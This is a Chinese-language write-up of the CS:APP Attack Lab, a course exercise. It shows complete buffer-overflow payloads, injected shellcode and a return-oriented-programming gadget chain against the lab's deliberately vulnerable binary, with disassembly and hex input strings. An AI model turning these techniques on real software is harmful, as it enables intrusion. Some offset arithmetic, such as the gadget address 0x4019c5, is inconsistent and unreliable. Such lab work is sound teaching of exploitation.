Attack Lab

Attack Lab

参考文档
参考博客

//执行ctarget会进入并要利用的函数
void test()
{
    int val;
    val = getbuf();
    printf("No exploit.Getbuf returned 0x%x\n", val);
}
//getbuf的实现
unsigned getbuf()
 {
   char buf[BUFFER_SIZE];
   Gets(buf);   /* 没有边界检查 */
   return 1;
 }

objdump中getbuf的反汇编

  4017a8:   48 83 ec 28             sub    $0x28,%rsp
  4017ac:   48 89 e7                mov    %rsp,%rdi
  4017af:   e8 8c 02 00 00          callq  401a40 
  4017b4:   b8 01 00 00 00          mov    $0x1,%eax
  4017b9:   48 83 c4 28             add    $0x28,%rsp
  4017bd:   c3                      retq   
  4017be:   90                      nop
  4017bf:   90                      nop

level 1

目标:Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement,rather than returning to test

所以我们需要在调用getbuf()的时候把返回地址覆盖成touch1()的入口地址。
由于Gets()读取28个字节后就会将getbuf()的返回地址覆盖。
objdump出touch1

00000000004017c0 :
  4017c0:   48 83 ec 08             sub    $0x8,%rsp
  4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc 
  4017cb:   00 00 00 
  4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:   e8 e8 f4 ff ff          callq  400cc0 
  4017d8:   bf 01 00 00 00          mov    $0x1,%edi
  4017dd:   e8 ab 04 00 00          callq  401c8d 
  4017e2:   bf 00 00 00 00          mov    $0x0,%edi
  4017e7:   e8 54 f6 ff ff          callq  400e40 

得到应该在溢出区填充地址 00000000004017c0
所以应该填充:

(小端, 低位低地址,高位高地址)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

写在文件exploit.txt(附录A有工具hex2raw的使用方法)中, 然后运行命令:

cat exploit.txt |./hex2raw | ./ctarget -q

level 1就这样就完成了:


Attack Lab_第1张图片
p1

level 2

目标:Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument. 比level1多了一个要求,就是要传入自己的cookie来进行判断,显示出带有touch2的输出才是正确的。

/* touch2 */
void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

前面与level1同理,找出touch2()的入口地址:0x4017ec
这里会注入一段代码,使得rdi携带参数cookie(下载的lab中有个cookie.txt文件):

movq $0x59b997fa %rdi
retq

借助编译器以及objdump得到二进制指令:

gcc -c level2.c
objdump -d level2.o
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   c3                      retq

直接利用28字节的缓冲区注入代码,所以这里应该要想办法得到数据栈的地址,利用gdb我们可以得到getbuf()数据栈顶的地址为0x5561dc78:

Attack Lab_第2张图片
p2

所以我们把getbuf()的返回地址覆盖为数据栈顶的地址:
所以有二进制编码:

48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00

getbuf()返回时会把rsp定位到0x5561dc78,当我们注入的代码调用retq时,又接着弹出地址0x5561dc80的数据,这次会定位到函数touch2()

通过第四章知道:ret会把栈顶元素传送到rip,然后rsp+8

5.png

level 3

目标:Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

  • 可以看出基本与level2同理,只是要注意hexmatch可能会覆盖我们注入的代码
/* 从代码中可以看出我们要返回分支touch3才是正确 */
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

所以我们要把cookie(0x59b997fa)转化为字符串:
35 39 62 39 39 37 66 61
找出touch3的入口地址(0x4018fa):

00000000004018fa :
  4018fa:   53                      push   %rbx
  4018fb:   48 89 fb                mov    %rdi,%rbx
  4018fe:   c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044dc 
  401905:   00 00 00 
  401908:   48 89 fe                mov    %rdi,%rsi
  40190b:   8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044e4 
  401911:   e8 36 ff ff ff          callq  40184c 
  401916:   85 c0                   test   %eax,%eax
  401918:   74 23                   je     40193d 
  40191a:   48 89 da                mov    %rbx,%rdx
  40191d:   be 38 31 40 00          mov    $0x403138,%esi
  401922:   bf 01 00 00 00          mov    $0x1,%edi
  401927:   b8 00 00 00 00          mov    $0x0,%eax
  .......

这里要计算一下注入的地址(与level2同理):

  • address为:0x5561dc78+0x28+0x8+0x8 = 0x5561dcb0

要注入的汇编语句(利用rdi传递参数):

movq $0x5561dcb0, %rdi
retq

#反汇编出来
0000000000000000 <.text>:
   0:   48 c7 c7 b0 dc 61 55    mov    $0x5561dcb0,%rdi
   7:   c3                      retq

所以我们的注入二进制为:

48 c7 c7 b0 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61

运行命令得到结果:

6.png

level 4

It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault

由于level4 和 level5开启了栈随机化和限制可执行代码区域(书上3.10.4),所以需要使用ROP攻击

思路是利用pop %rdi,然后ret返回到touch2,但是不能直接找到这样的代码,不过可以间接找到两个:

# 58   -->   pop rax%
00000000004019a7 :
     4019a7:    8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
     4019ad:    c3                      retq   

# 48 89 c7   -->   movl rax%, rdi%
# 然后紧跟着nop(没有影响),retq
00000000004019c3 :
     4019c3:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
     4019c9:    c3                      retq 

求出两个要利用的地址:

  • addval_219: 0x4019a7 + 0x4 = 0x4019ab
  • setval_426: 0x4019c5 + 0x2 = 0x4019c5
    利用工具objdump反汇编出来touch2的地址0x4017ec
00000000004017ec :
  4017ec:   48 83 ec 08             sub    $0x8,%rsp
  4017f0:   89 fa                   mov    %edi,%edx
  4017f2:   c7 05 e0 3c 20 00 02    movl   $0x2,0x203ce0(%rip)        
  # 6054dc 
  4017f9:   00 00 00 
  4017fc:   3b 3d e2 3c 20 00       cmp    0x203ce2(%rip),%edi        
  # 6054e4 
  401802:   75 20                   jne    401824 
  401804:   be 08 32 40 00          mov    $0x403208,%esi
  401809:   bf 01 00 00 00          mov    $0x1,%edi
  40180e:   b8 00 00 00 00          mov    $0x0,%eax
  ......

分析完了,我们现在可以进行填充,这里首先还是采用28字节填充,然后填充第一个gadget的地址,使程序执行该地址处的指令pop %rax,这是栈指针位置处应该填上cookie,接着执行的ret会把cookie上面的栈值的地址处的指令传送到%rip,利用mov %rax, %rdi实现参数的传递,在利用ret使得程序定位到touch2()

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
Attack Lab_第3张图片
7.png

你可能感兴趣的:(Attack Lab)